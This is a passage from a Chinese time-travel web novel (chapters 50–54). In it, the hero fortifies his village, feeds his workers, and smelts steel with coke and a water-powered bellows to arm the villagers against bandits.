几十号人,最后能有五个人坚持下来,就算不错了。
现在刀手、投掷手、长枪手,全都有了。
就差弓弩手了。
弓手的门槛比其他兵种都要高。
扛把大刀,拿杆长枪,哪怕没练过武,往那一站,也还能吓唬吓唬敌人。
但若是不会射箭,拿把弓,还真不如拿根烧火棍好使!
整个卧虎村会射箭的人屈指可数,更别提使用复合强弓。
哪怕从现在开始挑人训练,没有三五个月,也休想入门。
连弩!
这种好上手的远程武器,是时候提上日程了。
第50章 深挖洞,高筑墙!
薛猛回到家,立即开始着手制作诸葛连弩。
弩臂用桑木。
弩弓采用和竹胎复合弓一样的复合材料,贴几层牛角片和牛筋,用鱼胶黏合,增强弹力。
弓弦用晒干的鹿筋、熊筋、牛筋纤维加上麻绳编制而成。
箭羽用雁羽。
随着时间推移,在薛猛的手中,一把弩的雏形被活生生搓了出来。
但有个致命的问题!
连弩的扳机、齿轮、轴销、弹簧这些关键部件,全部需要用到钢铁锻造。
薛猛尝试用木头制作,结果根本无法承受弩的强度,全部都裂了。
期间大舅哥林大强从青牛村回来了,说施工队人已经招齐,问薛猛打算在哪里建工坊。
薛猛回想了一下沙盘布局,选了几个比较安全的地方。
让林大强把施工队分成两组。
一组修建寨墙、箭楼、工坊等地上建筑。
一组挖壕沟、地道等地下工事。
深挖洞,高筑墙!
林大强虽然不明白为什么薛猛要挖地道,但只要是薛猛的话,他全部照办!
卧虎村自此开启了轰轰烈烈的基建之路。
原本薛猛是想在李庄的基础上改建学堂和工坊,但想了想,李庄远在白虎乡,若是响马来攻,难以照应。
索性让施工队把李庄拆了,把那些青砖、石料,全部运回卧虎村。
李庄这些年没少压榨民脂民膏,庄园修得很是气派,拆出来的砖瓦方石,基本足够建造工坊和学堂。
但寨墙所需材料太多,还是需要派人专门进山采挖石头,砍伐树木。
薛猛让郑灵均和罗飞轮流派人进山,保护采石队和伐木队安全,提防山中猛兽袭击。
任务安排下去后,一切有条不紊进行着。
薛猛则把自己关在房间里,思考如何早日炼出钢铁。
铁艺坊无法炼出钢铁有一个最现实的问题,就是炉温不够,无法炼化铁水。
之前他已经让老白头去烧制焦炭了。
但仅仅靠焦炭,似乎还是差了些什么。
“对了,可以改进鼓风装置,让焦炭燃烧得更充分,炉温不就起来了吗?”
薛猛脑中灵光一闪。
拿起笔绘制图纸,全然进入了忘我状态。
“开饭咯!”
不知不觉,已经到了中午饭点。
门外传来张婶兴奋的喊声。
因为正式工房还没建好,鱼胶坊在薛家院子里临时搭了个工棚。
在旁边搭了个土灶,架上几口大锅,就算是饭堂了。
第一顿大锅饭。
菜色很简单,一大盆凉拌折耳根,一大盆野菜汤,一大锅蒸干饭。
荤菜就是捕鱼队打回来的鱼。
鱼胶坊只取鱼鳔,剩下的鱼肉根本吃不完。
院子里挂满了风干鱼、烟熏鱼。
锅里也炖着鱼。
薛猛现在看见鱼就想吐。
但在卧虎村村民眼中,这已经是地主老财才吃得起的人间美味了!
哪怕没菜,就凭那满满一锅热气腾腾,米香四溢的蒸干饭,就足以让人垂涎三尺。
薛猛打了碗饭,扒拉了两口,却注意到鱼胶坊的妇人们,全都远远站着,扭扭捏捏,不好意思上前打饭。
“啥情况?”
“大伙儿咋都不吃啊?”
“难不成嫌俺家米饭不好吃?”
刘家婶子咽了咽口水,慌忙摆手:“不不不!那哪能啊!这大米饭多香啊,搁以前俺们过年都不一定能吃上一回。”
林雅娴凑近薛猛耳边,压低声说道:“长根儿,今天鱼胶坊才出三两鱼胶,婶子们是担心,没做出多少货,白吃你的饭,回头你不要她们了。”
“啥玩意儿?三两?”
闻言,薛猛两眼一瞪。
见薛猛瞪眼,鱼胶坊众人瑟瑟发抖。
以为产量太少,薛猛要发火了!
“东家,你别生气,我们不吃饭,抓紧给你干!你千万别不要我们!”
一个抱小孩儿的少妇,吓得直接跪在了地上。
鱼胶坊妇人们见状,全都要给薛猛下跪。
“你们干啥呢这是?”
薛猛连忙解释道:“我什么时候要发火了?大伙儿都误会了!”
“炮制鱼胶不是在田里割麦子,求的不是速度,也不是数量,而是品质。”
“这才第一天,鱼胶坊就能出三两鱼胶,已经是相当难得了!”
啊?
薛猛此言一出,妇人们你看看我,我看看你,全都愣住了。
三两,很多?
薛猛道:“炮制鱼胶本来就是慢工出细活。”
“而且并不是任何鱼鳔都能用来熬鱼胶。”
“鱼胶大致分三种,青鱼胶、黄鱼胶、鲟鱼胶。”
“黄鱼多是海鱼,就不用说了。”
“卧虎村附近的水域多是岷江之流,青鱼居多,偶尔能碰上鲟鱼。”
“捕鱼队打两千斤鱼,去除那些小杂鱼,鱼胶坊这边能出五斤青鱼胶就算谢天谢地了。”
至于鲟鱼胶,可遇不可求。
要不然为啥这玩意儿卖得贵呢!
“三两鱼胶干货,至少得杀一百斤鱼!一上午就宰了一百斤鱼,我是真佩服你们!”
薛猛说着,将跪在地上的少妇扶了起来,看着她手上狰狞的刀口,眼眶都湿润了。
“这是杀鱼不小心把手划了吧?”
少妇点点头。
她在鱼胶坊做的是第一道工序,杀鱼取鳔,为了能够保住这个饭碗,她拼命地干。
结果不小心就把手划了。
“雅娴,把鱼胶拿来。”
林雅娴愣了愣,随即去灶房取来了鱼胶。
薛猛悉心地为少妇的伤口上抹上鱼胶。
少妇感动得眼泪吧嗒往下掉。
周围村民无不是红了眼圈。
以前给李庄干活,就是活活累死在地里,也不过是用草席一卷就了事。
哪里见过薛猛这样的东家?
管吃管喝,工钱又高,居然还亲自为工人敷药!
这哪里是东家,这是活菩萨啊!
薛猛抬起头,环顾院中一张张质朴的面孔。
见大伙儿全都眼巴巴看着自己。
眼神极其复杂,有崇拜、信任、敬畏,还有依赖。
薛猛这时候才深切地意识到,自己再也不是一个人单打独斗了。
原本作为一个穿越者,他对这个封建落后的古代社会并没有什么归属感。
甚至,非常厌恶这个吃人的世道。
对这些村民,他也只不过是当作无关紧要的背景板,就好像游戏里的NPC。
可现在,他才发现,这里每一个人都有血有肉。
他们都是最淳朴最可爱的劳动者!
从今往后,这一大家子,都需要他来守护!
自己的每一个决定,都将影响这个大家庭未来的走向,波及每个家庭成员的命运。
一股强烈的责任感,油然而生!
薛猛仿佛有千言万语想要说,可是到了嘴边,却只剩下一句:“我不是你们的东家,我们是乡亲,是兄弟姐妹!”
从张婶手里接过饭勺,薛猛亲自为少妇添了满满一碗饭:“大伙儿快吃饭!饭凉了,可就不好吃了!”
林雅娴和张婶抹了抹眼泪,也连忙上前,帮薛猛打饭。
村民们全都哭成了泪人。
自古以来,哪有东家给长工打饭的说法?
这薛猛真是个怪人。
凶起来像老虎,慈悲起来又像菩萨。
“以前跟李庄干活,饿得前胸贴后背,也没听说有管饭的。”
“除非是长工帮忙收稻谷,种桑树,才有一顿折箩剩菜和苦荞窝头吃。”
“白米饭和鱼肉,那是想都别想!”
“多少年没吃过白米了,真香啊!”
看着碗里香喷喷的米饭和鱼肉,大家再也忍耐不住,纷纷动了筷子。
不少人吃着吃着,眼圈一红,泪水掉进了碗里。
有些妇人只吃了小半碗就舍不得吃了,把剩下的饭捏成团揣在兜里,拿回去给娃吃。
闻到薛猛家飘出的饭菜香味,之前那些嘲笑薛猛的村民,心里那叫一个后悔。
“哼,让他们嘚瑟去吧!人狂自有天收,给长工吃大米饭,早晚吃垮他!”
“这个姓薛的,根本就不懂得怎么控制这些泥腿子!对长工不打不骂,算什么东家?”
宋大芬吃不到葡萄说葡萄酸,只能在背后蛐蛐薛猛。
以前大家都穷得好好的,现在薛猛这个败家子,突然成了大户,还带着那些泥腿子吃肉吃米饭!
她心里那叫一个恨!
自从李家倒台,自己大哥被杀,她宋家的日子是一天不如一天了、
连大胃袋都饿成小胃袋了!
想去找薛猛的茬吧,但一想到自己大哥的凄惨下场,又只能咬碎牙齿往肚里吞。
薛猛已经成了卧虎村大户,她惹不起!
第51章 林雅娴受不了了
“小鱼,你下午为什么要跟宋彪娃打架?”
夜幕降临,鱼胶坊晚上不加班,喧嚷的薛家小院归于沉寂。
卧房里,林雅娴替林小鱼脸上抹着药。
林小鱼气鼓鼓道:“宋彪娃骂我姐夫!”
“他说我姐夫是灾星,克死了大哥和爹娘,谁沾上他就会倒霉运!”
“还说我姐夫给大家吃的大米和鱼肉,是酸的臭的,吃了要少活几十年!”
林雅娴手一抖,手里的药瓶险些掉落在地。
扭头看向坐在油灯前,拿着毛笔写写画画的薛猛。
林雅娴担心薛猛想不开,柔声说道:“长根儿,你别听村里人胡说八道…”
“宋彪娃一个小孩儿,根本说不出这种话,肯定是他娘宋大芬教的!”
“宋家就是眼红咱们家现在日子好过了,故意恶心咱们呢。”
薛猛自然不会理会这些风言风语。
宋大芬以前仗着她哥宋大龙的势,在村子里没少欺负乡亲们。
乡亲们挖野菜、捞鱼虾,全都要分她一半!
跟土匪无异!
现如今宋大龙被自己砍了头,宋家背后的大靠山李庄也灭了,宋大芬这只“母大虫”,就像被拔了虎牙,再也凶狠不起来了。
薛猛和她已经不在一个层次,哪里还会去管一只蝼蚁的叫唤。
薛猛现在只想早日把钢铁炼出来,打造连弩配件,再给巡猎队每人配一把钢刀!
一旦黑风岭响马举兵袭扰,整个卧虎村都会生灵涂炭。
必须抓紧时间,把这些保命的家伙什备置齐全!
“姐夫,你在画什么?可以给小鱼看看吗?”
林小鱼拽了拽薛猛衣角,小小的脑袋,装着大大的好奇心。
薛猛抱起林小鱼,让她坐在自己大腿上,指着图纸:“这是姐夫给铁艺坊设计的水力鼓风装置,可以借助河水的力量驱动鼓风机,让木炭充分燃烧,提高熔炉温度,炼化出铁水。”
林小鱼眨巴着清澈大眼睛,完全听不懂,扭头看向林雅娴:“姐姐,姐夫在说什么呢,我怎么听不懂。”
林雅娴伸手揉了揉林小鱼的脑袋,温柔笑道:“姐姐也听不懂呢,小鱼,快去睡觉吧,别打扰你姐夫了。”
“不嘛,人家今晚想跟姐夫睡。”
林小鱼紧紧抱住薛猛,撒娇道。
“你这丫头!”林雅娴拿林小鱼没办法,只能无奈苦笑。
“长根儿,这是今天鱼胶坊一整天炮制好的鱼胶,我刚才称了一下,一共有六两重,你看看成色如何。”
林雅娴转而抱起一个陶罐,放在薛猛桌子上。
“六两?你们可真够厉害的!”
鱼胶坊总共就二十个人。
上午干了三两,下午又干了三两!
这产量已经超乎了薛猛预期。
婶子们怕是一口气都没歇,全都在拼命干呢!
薛猛打开陶罐,取出几片鱼胶块,放在掌心看了看,眉头微皱:“杂质有点多啊,而且火候也不太够。”
“应该是鱼鳔清洗不彻底,熬鱼胶的时候柴火不够,下次注意点,这些鱼胶加些树脂回一下锅,用来黏补器物吧。”
“啊?”
忙活了一天,没想到炮制出来的鱼胶,居然不合格。
林雅娴心情难免有些失落。
之前看薛猛熬制鱼胶的时候,一下就成功了,还以为很简单。
没想到,处处都是讲究。
“那好,我这就去改。”林雅娴抱起陶罐,转身就要出门。
“雅娴!”
“鱼胶的事情先放放吧,明天让婶子们去做就行了,你是老板娘,不用什么事情都亲自干。”
“夜深了,咱俩还有更加重要的事情要做!”
薛猛此言一出,林雅娴娇躯一颤,俏脸羞红。
确实啊,在大虞,没有什么事情比那件事情更重要的了!
“姐夫,什么事情?小鱼可以跟你们一起做吗?”
电灯泡林小鱼天真问道。
下一刻,她就被薛猛拎着丢出门外。
望着紧闭的房门,林小鱼气鼓鼓地抄起小手:“哼,坏姐夫!肯定是背着我偷吃好吃的!”
“小鱼听话,天黑了就不要去你姐夫那屋了,跟娘回屋睡觉。”
赵氏牵着林小鱼小手,带她回了偏房。
“娘,为什么天黑了就不能去姐夫房里?他们关着门干啥呢!”
赵氏苦笑:“等你以后长大了,就明白了。”
对于赵氏的敷衍回答,林小鱼自然是不买账的。
小孩子的好奇心,大于一切。
等到赵氏睡着了,林小鱼还没有闭眼,蹑手蹑脚下了床,溜回了薛猛门前。
刚到门前,就听见里面传出急促的吼叫。
有时候是姐姐在叫,有时候姐夫在叫,有时候两个人都在叫。
大晚上不睡觉,偷偷干啥呢?
林小鱼好奇心愈发浓烈,猫在窗户后面。
用手指轻轻戳开窗户纸,瞪着大眼睛,朝里一瞧,顿时吓得小脸惨白,感觉眼睛被针扎了一样。
“啊…娘!”
林小鱼撒开小短腿,飞跑回自己房间,把熟睡中的赵氏摇醒:“出事了!姐姐和姐夫在打架!”
“他们都光着,打得啪啪响,好吓人!”
“娘,你快去劝劝架吧,不然姐姐会被姐夫打死的!”
赵氏迷迷糊糊翻了个身:“让他们打去,打出几个大胖小子,你姐夫明年就不用充军了。”
……
“长根儿,歇了吧,明儿还得干活呢。”
“耕田育种,十月怀胎,哪能一晚上办成,这事儿急不得!”
林雅娴浑身香汗淋漓,声音怯怯。
她是真怕了。
再不叫停,自己非得被薛猛这牲口凿穿了不可。
“种瓜得瓜,种豆得豆,我不勤快播种,明年哪有收成啊?”
嘶!
薛猛倒吸一口凉气,背上血印子隐隐作痛。
都是被自家婆娘爪子挠的!
这具身体天赋本就了得,如今又每日吃肉锻炼,外加服食鲟鱼胶这种滋补良药。
身体素质是越来越凶猛了。
折腾小半宿,提上裤子,准备去院里漱漱口,吃完海鲜嘴里骚了哄的,怪不舒服的。
望着薛猛强悍的背影,跨出门外,林雅娴眼神幽怨,不禁垂泪:“越来越不像话了,耕田也不是这么个耕法,种庄稼还得轮作呢,哪能指着我一块田耕。”
“纳妾,得马上给他纳妾!”
“不然我这俩饺子皮早晚让他翻烂!”
林雅娴抹了抹眼泪,她现在急需要新的姐妹加入,一起抗日。
赶明儿就去找徐伯,让他择个日子,早点把瑾儿妹子嫁过来!
薛猛刚到院里,打了一桶水,漱了漱口。
忽然闻见一股腥膻味,随着穿堂风刮来。
一扭头,就看见自家院门半开。
一道黑影,矗立在门外,露出一双反着蓝光的眼睛。
“谁?”
当薛猛目光扫去,那道黑影立马转身跑了。
薛猛随手抄起一把砍柴刀,刚追出去,那道黑影已然不见了踪影。
第52章 送上门的姐妹花
“刚才那是什么东西?”
薛猛皱了皱眉。
刚才那东西眼睛反蓝光,显然不是人,应该是动物。
大舅哥林大强说过,之前那头棕熊,就是被河边的死鱼引下山的。
现在自家院子里晾着这么多鱼干儿,说不准又招来了什么山里的野物!
薛猛看了看半掩的房门,门并没有坏,应该只是忘记倒门栓,才被那东西推开了。
林大强现在每天都跟施工队同吃同住,压根没回家。
“看来得养条看家镇宅的宠物了!”
裴红玉家还有条猎犬呢,自己好歹也算个富户了,家里却连条看门狗都没有。
薛猛脑海里突然浮现出在一线天遇上的那个白虎崽子。
要是养只白虎在家里镇宅,那该多霸气啊!
薛猛甩了甩头,立刻将这个荒唐的念头抛之脑后。
想啥呢!
老虎可是会吃人的!
薛猛关上门,把门栓倒上,转身进屋睡觉。
而就在薛家不远处,一只毛发雪白,布满黑色条纹,跟山猫差不多大的的虎崽子,从草丛里钻了出来。
一双蓝色虎眸,幽幽看了眼薛猛家紧闭的院门。
发出几声低沉的咕噜声,悻悻然转身走了。
当天晚上,卧虎村的狗集体失禁,全吓尿了。
……
翌日清晨,金色阳光普照大地。
卧虎村的村民们,为了生计早早起床,出门找活路了。
而薛猛则是难得的赖了一会儿床。
以前的他家徒四壁,吃不饱穿不暖,要为娶不上老婆,生不了孩子而烦恼。
短短半个月不到,自己就已经有饭吃,有衣穿,还有两个如花似玉的老婆帮他造娃!
不出意外的话,明年的这个时候,自己应该喜当爹了!
李全福当初的如意算盘算是彻底落空了,三个娃算什么,我薛猛要生十个!
薛猛算了下帐。
马鹿卖了一百七十四两。
棕熊卖了一千两。
杂七杂八用了几十两,自己身上还剩一千一百多两银子。
手底下还有几十号人,在帮他做工赚钱。
除却成本和人工费,今后每个月都会有几百甚至上千两进账。
虽然比不上那些把持着盐铁生意的豪强,但在这卧虎村,薛家也算是名副其实的富户了!
薛猛现在处于一个很尴尬的位置。
说缺钱吧,比大多数底层百姓强多了!
说多有钱吧,也算不上!
“打造兵器可是个无底洞啊!”
“今天得把水力鼓风装置安装好,争取早日把钢铁炼出来!”
不论是大刀队的钢刀,还是弓弩队的连弩,或是自己想要的铁胎弓。
都少不了钢铁!
不搞定钢铁问题,制造新武器就是一句空谈。
薛猛伸了个懒腰,正准备穿衣服洗漱,去铁艺坊看看。
没想到刚起身,两个丫鬟打扮的少女,便端着水盆,拿着柳枝青盐,推门走了进来。
“主人醒了,奴婢伺候您净面更衣吧?”
两个少女眉清目秀,声音娇细,长得几乎一模一样,只有身上的衣服颜色不同,一个红,一个绿。
薛猛先是一怔,随即连忙拽过被子盖住下身。
他习惯裸睡。
刚起床身上啥也没穿。
“你们是谁?”
薛猛莫名觉得这两个少女有些眼熟。
好像之前在哪里见过她们,但一时半会儿又想不起来。
“主人,我们是夫人叫来伺候你的!让我们来帮你更衣吧!”红衣少女羞涩道。
薛猛刚才没穿衣服的样子,她们已经看见了。
挺吓人!
“不用,你们出去吧,我自己来!”
我手又不残,还需要别人给我穿衣服洗脸?
作为一个现代人,薛猛实在不习惯这种地主老财的生活作风。
他还是更喜欢留有自己的隐私空间。
雅娴也真是的,一声不吭,居然请上丫鬟了?
两个少女背过身去,但并没有离开房间。
薛猛自己穿上衣服,一番洗漱后,推开房门走了出去,准备问问林雅娴,到底怎么回事。
只见院中工棚里,鱼胶坊的妇人们已经忙得热火朝天。
一共二十个姑娘少妇,个顶个都是卧虎村里出了名勤快麻利的人儿。
五个杀鱼取鳔。
五个用特制竹刀,刮洗鱼鳔油脂、筋膜。
五个熬胶过滤。
五个切制包装。
在林雅娴的安排下,鱼胶坊规模不大,但却有条不紊地进行着每一道工序。
“相公,你起来了?这是我们改良过的鱼胶,你看成色如何?”林雅娴拿起一罐鱼胶,来到薛猛面前,俏脸上满是期待。
薛猛取出一块鱼胶片,对准阳光一照。
晶莹剔透,宛若白玉。
“嗯~九成九,稀罕物!”
薛猛伸手在林雅娴琼鼻上轻轻一刮,咧嘴一笑:“干得不错,回头奖励你个大胖儿子!”
哈哈哈!
院子里妇人们瞬间心领神会,哄堂大笑。
林雅娴脸红得几乎能滴出血。
长根儿真是越来越坏了,当着这么多姐姐婶子的面调戏她!
虽然很难为情,但得到薛猛表扬,林雅娴心里却是美滋滋的。
不枉她昨晚辗转反侧琢磨了一晚上。
总算是炮制出合格的鱼胶了!
“娘子,我有个事儿要问你!”
薛猛拉着林雅娴,来到角落,指了指卧房:“咱屋里,什么时候请丫鬟了?”
林雅娴先是一愣,随即反应过来,捂嘴一笑:“你是说红儿和翠儿吧?”
“她们本是李庄的丫鬟,因为不愿给李全福当美人纸,被李贺关在后院黑屋里受尽打骂。”
“如今李庄没了,她们无家可归走投无路,我看她们姐妹俩颇有几分姿色,又实在可怜,就替你收留她们了!”
闻言,薛猛恍然大悟,难怪觉得这对姐妹花眼熟呢!
原来在李庄后院小黑屋见过。
都是可怜人儿,收留就收留吧。
但很快,薛猛就察觉了林雅娴话里的陷阱。
“慢着,什么叫替我收留?”
“大老婆,你到底打什么如意算盘呢!”
“相公若是喜欢这对姐妹花,收了房也是可以的哦。”
林雅娴冲薛猛柔媚一笑,笑容耐人寻味。
说完,也不管薛猛什么反应,林雅娴扭身又去鱼胶坊忙活了。
“嘿哟呵!”
“你还挺会给自己减负啊,这才刚成亲多久?就张罗着给我找三找四是吧?”
薛猛摇头一叹。
他就知道,介娘们儿没安好心!
之前沧浪河上游有户人家,全家都被棕熊害死了。
房子成了无主之物,徐守业就把这房子交给薛猛开办铁艺坊。
这房子门口就是沧浪河,所以薛猛才想到,设计一个水力鼓风装置。
薛猛拿着图纸,刚走进院子,就听见里面传来叮叮咚咚打铁的声音。
赵康、周威正埋头锻打农具,这么做自然是为了掩人耳目。
见薛猛进来,二人黝黑脸上露出真诚笑容。
赵康高兴地朝屋里喊了声:“师父,薛小爷来了!”
不一会儿,老白头带着秦朗、庄翼迎了出来,除此之外,还有一个让人意外的身影。
裴红玉!
“大屁股,你怎么在这儿?”薛猛有些诧异。
裴红玉哼了一声,抱着胳膊扭过头,故意不搭理薛猛。
不知道为啥,她看见这家伙就来气!
等等,这家伙刚才叫我啥?
大屁股?!
“你想死啊!你才是大屁股,你全家都是大屁股!”
裴红玉气得胸都快炸了。
老白头满脸为难,对薛猛说道:“贤侄,你来得正好!”
“裴姑娘想让我们帮她打狼牙箭头,我们跟她说不行,打那东西太耽误时间,妨碍我们给大刀队打刀!可她非要我们帮她打!你快拿个主意吧。”
薛猛扭头看向裴红玉:“你要狼牙箭做什么?”
裴红玉也没什么隐瞒,直言不讳:“我看你那天射杀棕熊的箭头那么厉害,我也想要!”
薛猛挑眉:“那可不行!那是我专用的!个人专利懂吗?”
狼牙箭厉害是厉害,但是以铁艺坊目前的锻造水平,很难量产。
“什么砖力马力牛力的,我不管!”
“你不给我打,我就不教长枪队练枪了!”
见裴红玉耍起脾气来,薛猛拍了拍对方的屁股,眼含“威胁”道:“这两天屁股不疼,你尾巴都快翘上天了是吧!”
“信不信今晚我不给你上药,明天早上你就得拉血!”
“……”
裴红玉咬了咬银牙,恨不得把薛猛活撕了。
但一想到这两天早上排便的轻松畅快,顿时又没了脾气。
薛猛这混蛋虽然是个混蛋。
但他的药是真管用啊!
暂且忍耐他半个月,等半个月后自己体内的火毒被根治了,再一并跟这牲口算账!
裴红玉强压下心头怒火,告诉自己一定要隐忍!
“不打就不打,谁稀罕!”
裴红玉哼了一声,扭头朝门外走去。
“狼牙箭不算什么,待会儿炼出钢铁,哥给你量身定制一件更厉害的兵器!”
裴红玉头也不回,压根不相信薛猛的话。
狼牙箭已经是她长这么大,见过最厉害的武器了。
连棕熊的头都能射穿。
还有什么兵器,能比狼牙箭更厉害?
钢铁又是什么东西?
她从来没听说过!
薛猛明明就是小气鬼,不愿意和她分享狼牙箭,故意找借口敷衍她!
见裴红玉这母老虎总算走了,老白头师徒几人松了口气。
可还没等他们高兴,刚出门的裴红玉又折返了回来:“我还是决定,留下来看看你们到底能鼓捣出什么名堂!”
薛猛自信一笑:“行!白叔,把这几天我让你准备的‘秘密武器’,拿出来让她见识见识!”
第53章 焦炭水排大炼钢
砰!
一脚踹开柴屋房门。
指着里面满屋子黑乎乎,布满很多小孔的“石块”,老白头对薛猛道:“贤侄,按照你说的干馏法,我们这几天找人挖了五个土窑,烧出几天几夜,才烧成这些焦炭。”
“五窑石炭,有三窑成了炭灰,只有两窑成了焦炭。”
“工钱和石炭钱,一共花了七十多两银子。”
提到银子,老白头很是肉疼,他想不通。
这好好的石炭,薛猛为啥非要让他们焖在窑坑里烧一遍?
难不成这所谓的焦炭,比石炭更好?
“第一次烧就成功烧出两窑焦炭,已经很不错了!”
对于这个结果,薛猛颇感惊喜。
石炭,也就是现代所说的“煤”。
在大虞,大多数铁匠铺,使用廉价的木炭作为燃料。
木炭含碳量中等,质地疏松,燃烧起来快,消耗量很大。
而且能够达到的炉温,只有七八百度,根本无法炼化铁水,只能烧出海绵铁。
石炭只有军队匠造营才用得起,炉温能达到八九百度,但是很不稳定,燃烧时烟大,还容易产生硫、磷,炼出的铁杂质多。
老白头当年在白虎军匠造营,独创了橡木炭和石炭混合使用,可以将铁烧到半融化状态,打造出的兵器质量,已经远超大虞其他工匠。
但,在薛猛看来,这还远远不够!
焦炭作为工业时代的燃料基石,推动了近代钢铁工业的发展。
仅仅自然燃烧,不需要鼓风,焦炭就能让炉温达到上千度高温!
若是加上水力鼓风装置,充分燃烧,能够让炉温达到一千五百度,足以炼化铁水!
虽然制作焦炭,耗损不小,但焦炭十分耐烧,产生的高温也非常稳定,杂质也很少,这是木炭和石炭,都无法比拟的。
炼三百斤生铁,要用两千斤木炭。
改用焦炭可能只需要一千斤。
而且,焦炭炼出的铁更加优质,甚至可以精炼成钢。
成本七十两算什么?
只要能炼出钢铁,别说七十两,就是七百两,甚至是更多都无所谓!
在这个冶炼技术落后的封建社会,一旦炼出钢铁,那就是降维打击!
“就这堆破玩意儿,值七十两?”
看着那堆焦炭,裴红玉抱着胳膊,忍不住摇头啧声道:“薛猛,你可真是个败家子!再有钱也不能这么瞎糟蹋啊!”
“我看你是屁大无脑,有了这焦炭,我就能炼化铁水,打造出比狼牙箭还厉害的武器!”
听了薛猛这话,裴红玉撇嘴道:“切,吹牛谁不会,我才不信呢!”
“我要是炼出铁水,你怎么说?”
薛猛想逗逗这母老虎。
“你要是真炼出铁水,我裴红玉以后给你当贴身丫鬟,你让我干啥我就干啥!”
“行啊!”
薛猛闻言乐了。
让这大屁股给自己当贴身丫鬟,自己不天天折腾死她!
裴红玉冰眸一瞪:“不过,你要是没炼出那什么铁水,你就得给我当仆人,天天给我擦屁股!”
“用嘴擦!”
留下这句让人毛骨悚然的狠话,裴红玉狼腰一扭,甩着肉墩墩的大腚朝门外走去。
“这娘们儿也太野了!以后哪个男人降得住啊?”
老白头的徒弟们全都吓坏了。
老白头也是替薛猛捏了把汗:“贤侄,要不你还是别跟她打赌了!万一炼不出铁水,你难不成还真给她……”
不等老白头说完,薛猛从衣袖里取出了图纸:“白叔,你不用担心,这次我可是有备而来!”
“这是我昨晚画的‘水排’图纸,你看看!要炼化铁水,除了焦炭,这东西也是必不可少!”
“哦?那我得好好看看!”
见薛猛又鼓捣出新鲜玩意儿,老白头眼前一亮。
之前的狼牙箭、沙盘,都让他大开眼界。
不知道薛猛这次,又能给他带来什么惊喜!
“妙,实在是妙哇!”
看完薛猛画的“水排”图纸,老白头老眸一颤,再次被震惊了。
“有了这个水力鼓风装置,冶炼起铁来,那可就是事半功倍了!”
大虞民间作坊冶铁,鼓风多是依赖人力拉风箱,也叫做“人排”。
而军队冶炼,靠的是畜力“马排”,需要上百匹马来回驱动,效率低不说,成本还高。
而薛猛设计的这个“水排”,居然是利用湍急的河流作为动力!
如此一来,几乎不需要任何成本,效率也比马排更高!
设计之精妙,堪称前无古人!
老白头打了几十年铁,从来没想过世上还有这么精妙的鼓风装置。
“薛贤侄,事不宜迟,咱们快着手安装这个水排吧!”
老白头也不知道薛猛的焦炭,到底能不能炼出铁水。
但这个水排设计,是肉眼可见的精妙!
一旦落实,以后鼓风就不需要用人力了。
以往他们打铁,还需要专门拿一个人拉风箱,特别费事。
马排那种大规模的鼓风装置,寻常小门小户又根本用不起。
若是这水排真能投入使用,对整个大虞冶铁技术都将是一种颠覆!
“行,那咱们就抓紧时间,争取今天上午把水排弄好!下午咱就炼铁水!”
“成功炼出了铁水,每人赏一两银子,五斤肉!”
薛猛此言一出,铁艺坊众人全都两眼放光,干劲满满。
“干!!!”
水排也就是水力鼓风装置。
利用河水冲击水车,然后通过曲轴、连杆,将水车的旋转运动转化为往复运动,从而驱动风箱,将空气压入冶炼炉内。
使得炉内氧气更充足,焦炭燃烧也就更充分,炉温也就越高。
水排的技术难点在于曲轴连杆的制作和组装。
铁艺坊几人一直从上午忙活到下午,都还没搞定。
连午饭都是张婶让人送过来的。
吃了饭马上接着干。
太阳快要落山时,卧虎村第一座水车,总算大功告成!
同时这也是大虞历史上,首次将水力转化为工业动力的创举。
百年之后。
或许在大虞的史书上,会有人这样记载:
水排,大虞最早的水力机械。
发明者,薛猛!
裴红玉站在河边,看着这个被水流冲击得轱辘转的木头玩意儿。
忍不住开口问道:“就靠这个和那堆黑石块,真能炼出铁水?”
“大屁股,等着瞧吧!等你成了我的贴身丫鬟,看我怎么收拾你!”
薛猛擦了擦额头上的汗水,冲裴红玉得意一笑,招呼众人回屋。
“哼!少得意!待会儿炼不出铁水,姑奶奶非得让你吃屎不可!”
裴红玉嘴上虽然不饶人。
但其实,就算薛猛炼不出铁水,她也不会真的把薛猛怎么样。
再怎么说,薛猛射杀了棕熊,替她报了杀兄大仇,救了她一命,这辈子都是她裴家的恩人!
但一想到今天晚上,又要脱光趴下让薛猛上药!
她就对薛猛来气!
自己一个黄花大闺女,身上每条缝都被这牲口看光了!
换任何人都会气恼。
“出铁水了!”
就在这时,铁艺坊内,突然传来老白头兴奋的嘶吼!
“真的炼成了?!”
裴红玉心头一惊,连忙冲进了铁艺坊。
“成了!真的炼出铁水了!”
“薛贤侄,咱们成功了!”
老白头打了一辈子铁,头一回见到真正完全融化的铁水。
以往用石炭、木炭和人排,最多把铁烧到半融化,根本不可能彻底炼化成铁水。
如今有了这焦炭和水排,居然真的炼出了铁水!
铁艺坊内,一张张被铁水映得通红的脸上,无不是写满兴奋和震撼。
当裴红玉冲进屋内,看见铁水顺着熔炉出口,哗哗往外淌流时,一向冷漠的俏脸上神情无比惊异。
“真的……成了?!”
第54章 响马来袭
薛猛没有吹牛!
他真的说到做到,把铁水炼出来了!
哪怕裴红玉不是铁匠,也明白这一炉铁水意味着什么!
见大家看着铁水发愣,薛猛连忙喊道:“快!往里面加石灰搅拌,加大鼓风力度!”
这才哪跟哪儿!
炼化铁水只是第一步!
薛猛要的可不只是优质铁,而是钢铁!
石灰可以和铁水中的杂质发生反应,生成炉渣,浮出铁水表面。
正所谓百炼成钢,铁水经过充分精炼,反复去除这些杂质后,便可以得到最基础的“钢水”!
虽然比不上工业时代的精钢,但在这个时代,已经是跨时代的科技产物了!
有了这一炉钢,就可以打造钢刀。
制作连弩所需要的金属配件,也不再是难题。
为以后造枪支弹药,也打下了基础。
这七十两银子,花得值啊!
老白头师徒几人,按照薛猛的吩咐,急忙加入石灰搅拌起铁浆。
看着那一炉热烈翻滚的钢水,薛猛眼中精芒闪烁。
有了钢,就有了在这个世界生存下去的底气!
在绝对真理面前。
是龙给我盘着,是虎给我卧着!
管你什么响马悍匪,还是妖魔鬼怪,全都是纸老虎!
准备好迎接降维打击吧!!
“薛大哥,原来你在铁艺坊啊!你看,我们今天跟伐木队进山,发现了这玩意儿!”
罗飞拎着一只四肢短小,鼻子像猪的野物,兴冲冲地走了进来。
“哟,是只猪獾,个头还不小,得有三十来斤吧!”
薛猛接过猪獾,眼前一亮,随即对铁艺坊众人说道:“正好,今天炼钢大伙儿都辛苦了!”
